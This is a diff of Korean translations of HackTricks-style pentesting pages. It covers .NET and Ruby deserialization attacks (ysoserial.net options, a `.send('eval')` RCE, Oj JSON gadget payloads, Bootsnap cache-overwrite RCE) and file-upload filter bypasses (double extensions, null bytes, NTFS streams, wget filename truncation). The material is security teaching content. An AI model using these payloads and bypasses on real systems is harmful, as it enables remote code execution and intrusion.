또는 **XML** 구조가 포함될 수 있지만 이에 국한되지 않습니다. +검색은 서버 측에서 역직렬화될 수 있는 Base64 인코딩 문자열 **AAEAAAD/////** 또는 유사한 패턴을 목표로 해야 하며, 이는 역직렬화될 유형에 대한 제어를 부여합니다. 여기에는 `TypeObject` 또는 `$type`을 포함한 **JSON** 또는 **XML** 구조가 포함될 수 있습니다. ### ysoserial.net 이 경우 도구 [**ysoserial.net**](https://github.com/pwntester/ysoserial.net)을 사용하여 **역직렬화 악용을 생성할 수 있습니다**. git 리포지토리를 다운로드한 후, 예를 들어 Visual Studio를 사용하여 **도구를 컴파일해야 합니다**. -**ysoserial.net이 악용을 생성하는 방법**에 대해 배우고 싶다면 [**ObjectDataProvider 가젯 + ExpandedWrapper + Json.Net 포맷터에 대해 설명된 이 페이지를 확인하세요**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). +**ysoserial.net이 악용을 생성하는 방법**에 대해 배우고 싶다면 [**ObjectDataProvider 가젯 + ExpandedWrapper + Json.Net 포맷터에 대해 설명된 이 페이지를 확인할 수 있습니다**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). **ysoserial.net**의 주요 옵션은: **`--gadget`**, **`--formatter`**, **`--output`** 및 **`--plugin`**입니다. -- **`--gadget`**는 악용할 가젯을 지정하는 데 사용됩니다 (명령을 실행하기 위해 역직렬화 중 악용될 클래스/함수를 지정). -- **`--formatter`**는 악용을 직렬화하는 방법을 지정하는 데 사용됩니다 (페이로드를 역직렬화하는 데 사용되는 백엔드 라이브러리를 알아야 하며, 이를 직렬화하는 데 동일한 것을 사용해야 합니다). -- **`--output`**는 악용을 **원시** 또는 **base64** 인코딩으로 원하는지 지정하는 데 사용됩니다. _**ysoserial.net**은 페이로드를 **UTF-16LE**로 **인코딩**하므로 (Windows에서 기본적으로 사용되는 인코딩) 원시 데이터를 가져와 리눅스 콘솔에서 인코딩하면 **인코딩 호환성 문제**가 발생할 수 있으며, 이는 악용이 제대로 작동하지 않게 할 수 있습니다 (HTB JSON 박스에서는 페이로드가 UTF-16LE와 ASCII 모두에서 작동했지만, 항상 작동한다는 의미는 아닙니다)._ +- **`--gadget`**는 악용할 가젯을 지정하는 데 사용됩니다(역직렬화 중 명령을 실행하기 위해 악용될 클래스/함수를 지정). +- **`--formatter`**는 악용을 직렬화하는 방법을 지정하는 데 사용됩니다(페이로드를 역직렬화하는 데 사용되는 백엔드 라이브러리를 알고 동일한 것을 사용하여 직렬화해야 함). +- **`--output`**는 악용을 **원시** 또는 **base64** 인코딩으로 원하는지 지정하는 데 사용됩니다. _**ysoserial.net**은 페이로드를 **UTF-16LE**(Windows에서 기본적으로 사용되는 인코딩)로 **인코딩**하므로, 원시 데이터를 가져와 리눅스 콘솔에서 인코딩하면 **인코딩 호환성 문제**가 발생할 수 있으며, 이는 악용이 제대로 작동하지 않게 할 수 있습니다(HTB JSON 박스에서는 페이로드가 UTF-16LE와 ASCII 모두에서 작동했지만, 항상 작동한다는 의미는 아닙니다)._ - **`--plugin`** ysoserial.net은 ViewState와 같은 **특정 프레임워크를 위한 악용을 제작하기 위해 플러그인을 지원합니다**. #### ysoserial.net의 추가 매개변수 -- `--minify`는 **더 작은 페이로드**를 제공합니다 (가능한 경우). +- `--minify`는 **더 작은 페이로드**를 제공합니다(가능한 경우). - `--raf -f Json.Net -c "anything"` 이는 제공된 포맷터(`Json.Net`인 경우)와 함께 사용할 수 있는 모든 가젯을 나타냅니다. -- `--sf xml`는 **가젯을 지정**(`-g`)하고 ysoserial.net이 "xml"을 포함하는 포맷터를 검색하도록 합니다 (대소문자 구분 없음). +- `--sf xml`는 **가젯**(`-g`)을 지정할 수 있으며, ysoserial.net은 "xml"을 포함하는 포맷터를 검색합니다(대소문자 구분 없음). **ysoserial 예시**를 통한 악용 생성: ```bash @@ -706,7 +706,7 @@ return obj; } ``` In the **이전 코드는 생성된 익스플로잇에 취약합니다**. 따라서 .Net 애플리케이션에서 유사한 것을 발견하면 해당 애플리케이션도 취약할 가능성이 높습니다.\ -따라서 **`--test`** 매개변수는 **어떤 코드 조각이** **ysoserial.net**이 생성할 수 있는 역직렬화 익스플로잇에 취약한지를 이해하는 데 도움이 됩니다. +따라서 **`--test`** 매개변수는 **어떤 코드 조각이** **ysoserial.net**이 생성할 수 있는 역직렬화 익스플로잇에 취약한지 이해하는 데 도움이 됩니다. ### ViewState @@ -716,15 +716,15 @@ In the **이전 코드는 생성된 익스플로잇에 취약합니다**. 따라 .Net에서 역직렬화와 관련된 위험을 완화하기 위해: -- **데이터 스트림이 객체 유형을 정의하도록 허용하지 마십시오.** 가능한 경우 `DataContractSerializer` 또는 `XmlSerializer`를 사용하십시오. +- **데이터 스트림이 객체 유형을 정의하도록 허용하지 마십시오.** 가능할 경우 `DataContractSerializer` 또는 `XmlSerializer`를 사용하십시오. - **`JSON.Net`의 경우 `TypeNameHandling`을 `None`으로 설정하십시오:** %%%TypeNameHandling = TypeNameHandling.None%%% - **`JavaScriptSerializer`와 `JavaScriptTypeResolver`의 사용을 피하십시오.** - **역직렬화할 수 있는 유형을 제한하십시오**, `System.IO.FileInfo`와 같은 .Net 유형의 고유한 위험을 이해하십시오. 이는 서버 파일의 속성을 수정할 수 있어 서비스 거부 공격으로 이어질 수 있습니다. - **위험한 속성을 가진 유형에 주의하십시오**, `Value` 속성이 있는 `System.ComponentModel.DataAnnotations.ValidationException`과 같이 악용될 수 있습니다. -- **타입 인스턴스화를 안전하게 제어하십시오**. 공격자가 역직렬화 프로세스에 영향을 미치지 않도록 하여 `DataContractSerializer` 또는 `XmlSerializer`조차도 취약하게 만들 수 있습니다. +- **타입 인스턴스화를 안전하게 제어하여** 공격자가 역직렬화 프로세스에 영향을 미치지 않도록 하십시오. 이로 인해 `DataContractSerializer` 또는 `XmlSerializer`조차도 취약해질 수 있습니다. - **`BinaryFormatter` 및 `JSON.Net`에 대해 사용자 정의 `SerializationBinder`를 사용하여 화이트리스트 제어를 구현하십시오.** - **.Net 내에서 알려진 불안전한 역직렬화 가젯에 대한 정보를 유지하고** 역직렬화기가 그러한 유형을 인스턴스화하지 않도록 하십시오. -- **잠재적으로 위험한 코드를 인터넷에 접근할 수 있는 코드와 격리하여** `System.Windows.Data.ObjectDataProvider`와 같은 알려진 가젯을 신뢰할 수 없는 데이터 소스에 노출되지 않도록 하십시오. +- **잠재적으로 위험한 코드를** 인터넷에 접근할 수 있는 코드와 분리하여 `System.Windows.Data.ObjectDataProvider`와 같은 알려진 가젯을 신뢰할 수 없는 데이터 소스에 노출되지 않도록 하십시오. ### **References** @@ -735,16 +735,16 @@ In the **이전 코드는 생성된 익스플로잇에 취약합니다**. 따라 ## **Ruby** -루비에서 직렬화는 **marshal** 라이브러리 내의 두 가지 메서드에 의해 수행됩니다. 첫 번째 메서드는 **dump**로, 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 과정을 직렬화라고 합니다. 반대로 두 번째 메서드인 **load**는 바이트 스트림을 다시 객체로 되돌리는 데 사용되며, 이 과정을 역직렬화라고 합니다. +Ruby에서는 **marshal** 라이브러리 내의 두 가지 메서드를 통해 직렬화가 이루어집니다. 첫 번째 메서드는 **dump**로, 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 과정을 직렬화라고 합니다. 반대로 두 번째 메서드인 **load**는 바이트 스트림을 다시 객체로 되돌리는 데 사용되며, 이를 역직렬화라고 합니다. -직렬화된 객체를 보호하기 위해 **루비는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 진위를 보장합니다. 이 목적을 위해 사용되는 키는 여러 가능한 위치 중 하나에 저장됩니다: +직렬화된 객체를 보호하기 위해 **Ruby는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 진위를 보장합니다. 이 목적을 위해 사용되는 키는 여러 가능한 위치 중 하나에 저장됩니다: - `config/environment.rb` - `config/initializers/secret_token.rb` - `config/secrets.yml` - `/proc/self/environ` -**루비 2.X 일반 역직렬화에서 RCE 가젯 체인 (자세한 정보는** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**: +**Ruby 2.X 일반 역직렬화에서 RCE 가젯 체인 (자세한 내용은** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**: ```ruby #!/usr/bin/env ruby @@ -819,13 +819,13 @@ puts Base64.encode64(payload) ### Ruby .send() 메서드 -[**이 취약점 보고서**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)에서 설명된 바와 같이, 일부 사용자로부터 비정제된 입력이 ruby 객체의 `.send()` 메서드에 도달하면, 이 메서드는 객체의 **다른 메서드를 호출**할 수 있게 해줍니다. +[**이 취약점 보고서**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)에서 설명된 바와 같이, 일부 사용자로부터 비정제된 입력이 ruby 객체의 `.send()` 메서드에 도달하면, 이 메서드는 객체의 **다른 메서드를 호출**할 수 있게 해줍니다. 예를 들어, eval을 호출하고 두 번째 매개변수로 ruby 코드를 전달하면 임의의 코드를 실행할 수 있습니다: ```ruby .send('eval', '') == RCE ``` -또한, **`.send()`**의 매개변수 중 하나만 공격자에 의해 제어된다면, 이전 글에서 언급한 바와 같이, **인수가 필요 없는** 객체의 모든 메서드나 **기본값이 있는** 인수를 가진 메서드를 호출할 수 있습니다.\ +또한, **`.send()`**의 매개변수 중 하나만 공격자에 의해 제어된다면, 이전 설명에서 언급한 바와 같이, **인수가 필요 없는** 객체의 모든 메서드나 **기본값이 있는** 인수를 가진 메서드를 호출할 수 있습니다.\ 이를 위해, **그 요구 사항을 충족하는 흥미로운 메서드를 찾기 위해** 객체의 모든 메서드를 열거할 수 있습니다. ```ruby .send('') @@ -854,7 +854,7 @@ candidate_methods.length() # Final number of methods=> 3595 ### Ruby _json 오염 -해시 가능하지 않은 배열과 같은 값을 본문에 보내면 `_json`이라는 새로운 키에 추가됩니다. 그러나 공격자는 본문에 자신이 원하는 임의의 값으로 `_json`이라는 값을 설정할 수도 있습니다. 그런 다음, 예를 들어 백엔드가 매개변수의 진위를 확인하지만 `_json` 매개변수를 사용하여 어떤 작업을 수행하면, 권한 우회가 발생할 수 있습니다. +해시 가능하지 않은 배열과 같은 값을 본문에 보내면 `_json`이라는 새로운 키에 추가됩니다. 그러나 공격자는 본문에 임의의 값을 가진 `_json`이라는 값을 설정할 수도 있습니다. 그런 다음, 예를 들어 백엔드가 매개변수의 진위를 확인하지만 `_json` 매개변수를 사용하여 어떤 작업을 수행하면, 권한 우회를 수행할 수 있습니다. [Ruby _json 오염 페이지에서 더 많은 정보를 확인하세요](ruby-_json-pollution.md). @@ -888,7 +888,7 @@ puts json_payload # Sink vulnerable inside the code accepting user input as json_payload Oj.load(json_payload) ``` -Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출하는 가젯 클래스를 찾을 수 있었으며, 이는 spec을 호출하고, fetch_path를 호출하여 무작위 URL을 가져오도록 만들 수 있었습니다. 이는 이러한 종류의 비위생적인 역직렬화 취약점을 탐지하는 데 큰 도움이 됩니다. +Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출하는 가젯 클래스를 찾을 수 있었고, 이는 spec을 호출하고, fetch_path를 호출하여 무작위 URL을 가져오도록 만들 수 있었습니다. 이는 이러한 종류의 비위생적인 역직렬화 취약점을 탐지하는 데 큰 도움이 됩니다. ```json { "^o": "URI::HTTP", @@ -900,7 +900,7 @@ Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출 "password": "anypw" } ``` -또한, 이전 기술을 사용하면 시스템에 폴더가 생성된다는 것이 발견되었으며, 이는 다른 가젯을 악용하여 이를 완전한 RCE로 변환하는 데 필요합니다. +또한, 이전 기술을 사용하면 시스템에 폴더가 생성된다는 것이 발견되었으며, 이는 다른 가젯을 악용하여 이를 완전한 RCE로 변환하는 데 필요한 조건입니다. ```json { "^o": "Gem::Resolver::SpecSpecification", @@ -922,6 +922,42 @@ Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출 } } ``` -자세한 내용은 [**원본 게시물**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)에서 확인하세요. +Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). + +### Bootstrap Caching + +정확히는 역직렬화 취약점은 아니지만, Rails 애플리케이션에서 임의 파일 쓰기를 통해 RCE를 얻기 위해 Bootstrap 캐싱을 악용하는 멋진 트릭입니다 (완전한 [원본 게시물은 여기에서 확인하세요](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)). + +아래는 Bootsnap 캐싱을 악용하여 임의 파일 쓰기 취약점을 이용하는 방법에 대한 기사의 단계 요약입니다: + +- 취약점 및 환경 식별 + +Rails 앱의 파일 업로드 기능은 공격자가 임의로 파일을 쓸 수 있게 합니다. 앱이 제한된 상태에서 실행되지만(특정 디렉토리만 쓰기가 가능함), 여전히 Bootsnap 캐시 디렉토리에 쓰는 것이 가능합니다(일반적으로 tmp/cache/bootsnap 아래에 위치). + +- Bootsnap의 캐시 메커니즘 이해 + +Bootsnap은 컴파일된 Ruby 코드, YAML 및 JSON 파일을 캐싱하여 Rails 부팅 시간을 단축합니다. 캐시 파일은 캐시 키 헤더(루비 버전, 파일 크기, mtime, 컴파일 옵션 등과 같은 필드 포함)와 그 뒤에 컴파일된 코드가 포함되어 있습니다. 이 헤더는 앱 시작 시 캐시를 검증하는 데 사용됩니다. + +- 파일 메타데이터 수집 + +공격자는 먼저 Rails 시작 시 로드될 가능성이 있는 대상 파일(예: Ruby의 표준 라이브러리에서 set.rb)을 선택합니다. 컨테이너 내에서 Ruby 코드를 실행하여 중요한 메타데이터(RUBY_VERSION, RUBY_REVISION, 크기, mtime, compile_option 등)를 추출합니다. 이 데이터는 유효한 캐시 키를 만드는 데 필수적입니다. + +- 캐시 파일 경로 계산 + +Bootsnap의 FNV-1a 64비트 해시 메커니즘을 복제하여 올바른 캐시 파일 경로를 결정합니다. 이 단계는 악성 캐시 파일이 Bootsnap이 예상하는 정확한 위치에 배치되도록 보장합니다(예: tmp/cache/bootsnap/compile-cache-iseq/ 아래). + +- 악성 캐시 파일 만들기 + +공격자는 다음을 수행하는 페이로드를 준비합니다: + +- 임의의 명령을 실행합니다(예: 프로세스 정보를 보여주기 위해 id 실행). +- 실행 후 악성 캐시를 제거하여 재귀적 악용을 방지합니다. +- 애플리케이션이 중단되지 않도록 원본 파일(예: set.rb)을 로드합니다. + +이 페이로드는 바이너리 Ruby 코드로 컴파일되고, 이전에 수집한 메타데이터와 Bootsnap에 대한 올바른 버전 번호를 사용하여 신중하게 구성된 캐시 키 헤더와 연결됩니다. + +- 덮어쓰기 및 실행 트리거 +임의 파일 쓰기 취약점을 사용하여 공격자는 계산된 위치에 제작된 캐시 파일을 씁니다. 다음으로, 서버 재시작을 트리거합니다(모니터링되는 tmp/restart.txt에 쓰기). 재시작 중에 Rails가 대상 파일을 요구할 때, 악성 캐시 파일이 로드되어 원격 코드 실행(RCE)이 발생합니다. + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 600849073..312ef6cee 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -31,7 +31,7 @@ - _file._ - _file.php...._ - _file.pHp5...._ -4. **서버 측의 확장자 파서를 속여** 보호를 우회해 보십시오. **확장자를 두 번** 추가하거나 **쓰레기** 데이터를 추가하는 기법을 사용할 수 있습니다. +4. **서버 측의 확장자 파서를 속여** 보호를 우회해 보십시오. **확장자를 두 번** 추가하거나 **쓰레기** 데이터를 확장자 사이에 추가하는 기술을 사용합니다. - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -43,15 +43,15 @@ 5. 이전 검사에 **또 다른 확장자 레이어**를 추가합니다: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. **유효한 확장자 앞에 exec 확장자를 넣고** 서버가 잘못 구성되기를 기도합니다. (Apache 잘못 구성에서 유용하며, **.php**로 끝나지 않더라도 모든 것이 코드를 실행합니다): +6. **유효한 확장자 앞에 exec 확장자를 넣고** 서버가 잘못 구성되기를 기도합니다. (Apache 잘못 구성에서 유용하며, 확장자** _**.php**_**로 끝나지 않더라도** 코드를 실행합니다): - _ex: file.php.png_ -7. **Windows**에서 **NTFS 대체 데이터 스트림(ADS)** 사용. 이 경우, 금지된 확장자 뒤에 콜론 문자 “:”가 삽입되고 허용된 확장자 앞에 삽입됩니다. 결과적으로 **금지된 확장자를 가진 빈 파일**이 서버에 생성됩니다 (예: “file.asax:.jpg”). 이 파일은 나중에 다른 기술을 사용하여 편집할 수 있습니다. “**::$data**” 패턴을 사용하여 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: “file.asp::$data.”) -8. 파일 이름 제한을 **깨뜨려** 보십시오. 유효한 확장자가 잘리게 됩니다. 그리고 악성 PHP가 남게 됩니다. AAA<--SNIP-->AAA.php +7. **Windows**에서 **NTFS 대체 데이터 스트림 (ADS)** 사용. 이 경우, 금지된 확장자 뒤에 콜론 문자 “:”가 삽입되고 허용된 확장자 앞에 삽입됩니다. 결과적으로, **금지된 확장자를 가진 빈 파일**이 서버에 생성됩니다 (예: “file.asax:.jpg”). 이 파일은 나중에 다른 기술을 사용하여 편집할 수 있습니다. “**::$data**” 패턴을 사용하여 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: “file.asp::$data.”) +8. 파일 이름 제한을 깨보십시오. 유효한 확장자가 잘리게 됩니다. 그리고 악성 PHP가 남게 됩니다. AAA<--SNIP-->AAA.php ``` # 리눅스 최대 255 바이트 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 여기서 4를 빼고 .png 추가 +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 여기서 4를 빼고 .png 추가 # 파일을 업로드하고 응답을 확인하여 허용되는 문자의 수를 확인합니다. 예를 들어 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @@ -67,23 +67,23 @@ AAA<--SNIP 232 A-->AAA.php.png `exiftool -Comment="' >> img.png` -- **압축이 이미지에 추가되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 표준 PHP 라이브러리를 사용하는 경우, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크** [**여기서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다. +- **압축이 이미지에 추가되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 표준 PHP 라이브러리를 사용하는 경우, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크** [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다. - [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- 웹 페이지가 **이미지의 크기를 조정**할 수도 있습니다. 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용합니다. 그러나 **IDAT 청크** [**여기서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다. +- 웹 페이지가 **이미지의 크기를 조정**할 수도 있습니다. 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용합니다. 그러나 **IDAT 청크** [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다. - [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- PHP-GD 함수 `thumbnailImage`를 사용하여 **이미지 크기 조정**을 견딜 수 있는 페이로드를 만드는 또 다른 기술. 그러나 **tEXt 청크** [**여기서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다. +- PHP-GD 함수 `thumbnailImage`를 사용하여 **이미지 크기 조정**을 견딜 수 있는 페이로드를 만드는 또 다른 기술입니다. 그러나 **tEXt 청크** [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다. - [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) ### 확인할 기타 트릭 -- 이미 업로드된 파일의 **이름을 바꿀 수 있는 취약점**을 찾습니다 (확장자를 변경). +- 이미 업로드된 파일의 이름을 **변경**할 수 있는 취약점을 찾습니다 (확장자를 변경). - **로컬 파일 포함** 취약점을 찾아 백도어를 실행합니다. - **정보 유출 가능성**: 1. **동일한 파일**을 **여러 번** (그리고 **동시에**) **동일한 이름**으로 업로드합니다. 2. **이미 존재하는** **파일** 또는 **폴더**의 **이름**으로 파일을 업로드합니다. -3. **“.”, “..”, 또는 “…”**를 이름으로 가진 파일을 업로드합니다. 예를 들어, Windows의 Apache에서 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하는 경우, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다. +3. **“.”, “..”, 또는 “…”**를 이름으로 가진 파일을 업로드합니다. 예를 들어, Apache에서 **Windows**의 경우, 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하면, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다. 4. **NTFS**에서 쉽게 삭제할 수 없는 파일을 업로드합니다. (Windows) 예: **“…:.jpg”** -5. **Windows**에서 **잘못된 문자**가 포함된 파일을 업로드합니다. (Windows) 예: `|<>*?”` +5. **Windows**에서 **잘못된 문자**가 포함된 파일을 업로드합니다. 예: `|<>*?”` (Windows) 6. **Windows**에서 **예약된** (**금지된**) **이름**으로 파일을 업로드합니다. 예: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9. - 또한 **실행 파일** (.exe) 또는 **.html** (덜 의심스러운) 파일을 업로드하여 피해자가 우연히 열었을 때 **코드를 실행**하도록 합니다. @@ -94,7 +94,7 @@ AAA<--SNIP 232 A-->AAA.php.png `.phar` 파일은 Java의 `.jar`와 유사하지만 PHP용이며, **PHP 파일처럼 사용**될 수 있습니다 (PHP로 실행하거나 스크립트 내에 포함). -`.inc` 확장자는 때때로 **파일을 가져오는 데만 사용되는 PHP 파일**에 사용되므로, 누군가 이 확장자가 **실행되도록 허용했을 수 있습니다**. +`.inc` 확장자는 때때로 파일을 **가져오는 데만 사용되는** PHP 파일에 사용되므로, 누군가 이 확장자가 **실행되도록 허용했을 수 있습니다**. ## **Jetty RCE** @@ -106,7 +106,7 @@ Jetty 서버에 XML 파일을 업로드할 수 있다면, [RCE를 얻을 수 있 이 취약점에 대한 자세한 탐색은 원본 연구를 확인하십시오: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -원격 명령 실행(RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "마법" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히, `@(filename)`으로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 `.ini` 구성 파일이 처리될 때 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위한 악의적인 목적으로 조작될 수 있습니다. +원격 명령 실행 (RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "매직" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히, `@(filename)`으로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 `.ini` 구성 파일이 처리될 때 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위한 악의적인 목적으로 조작될 수 있습니다. 다음은 다양한 스킴을 보여주는 유해한 `uwsgi.ini` 파일의 예입니다: ```ini @@ -132,7 +132,7 @@ uWSGI의 구성 파일 파싱의 느슨한 특성을 이해하는 것이 중요 ## **wget 파일 업로드/SSRF 트릭** -일부 경우, 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있는 경우가 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 보장할 수 있습니다. 그러나 **이 검사는 우회될 수 있습니다.**\ +일부 경우에 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있는 경우가 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 보장할 수 있습니다. 그러나 **이 검사를 우회할 수 있습니다.**\ **리눅스**에서 **파일 이름**의 **최대** 길이는 **255**자이지만, **wget**은 파일 이름을 **236**자로 잘라냅니다. **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**할 수 있으며, 이 파일 이름은 **검사**를 **우회**합니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 하지만 `wget`은 파일 이름을 **"A"\*232+".php"**로 **변경**합니다. ```bash #Create file and HTTP server @@ -156,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -다른 옵션은 이 검사를 우회하기 위해 **HTTP 서버가 다른 파일로 리디렉션**하도록 만드는 것입니다. 이렇게 하면 초기 URL이 검사를 우회하고 wget이 새 이름으로 리디렉션된 파일을 다운로드합니다. 이는 **wget이 `--trust-server-names` 매개변수와 함께 사용되지 않는 한 작동하지 않습니다**. 왜냐하면 **wget은 원래 URL에 표시된 파일 이름으로 리디렉션된 페이지를 다운로드하기 때문입니다**. +다른 옵션은 이 검사를 우회하기 위해 **HTTP 서버가 다른 파일로 리디렉션**하도록 만드는 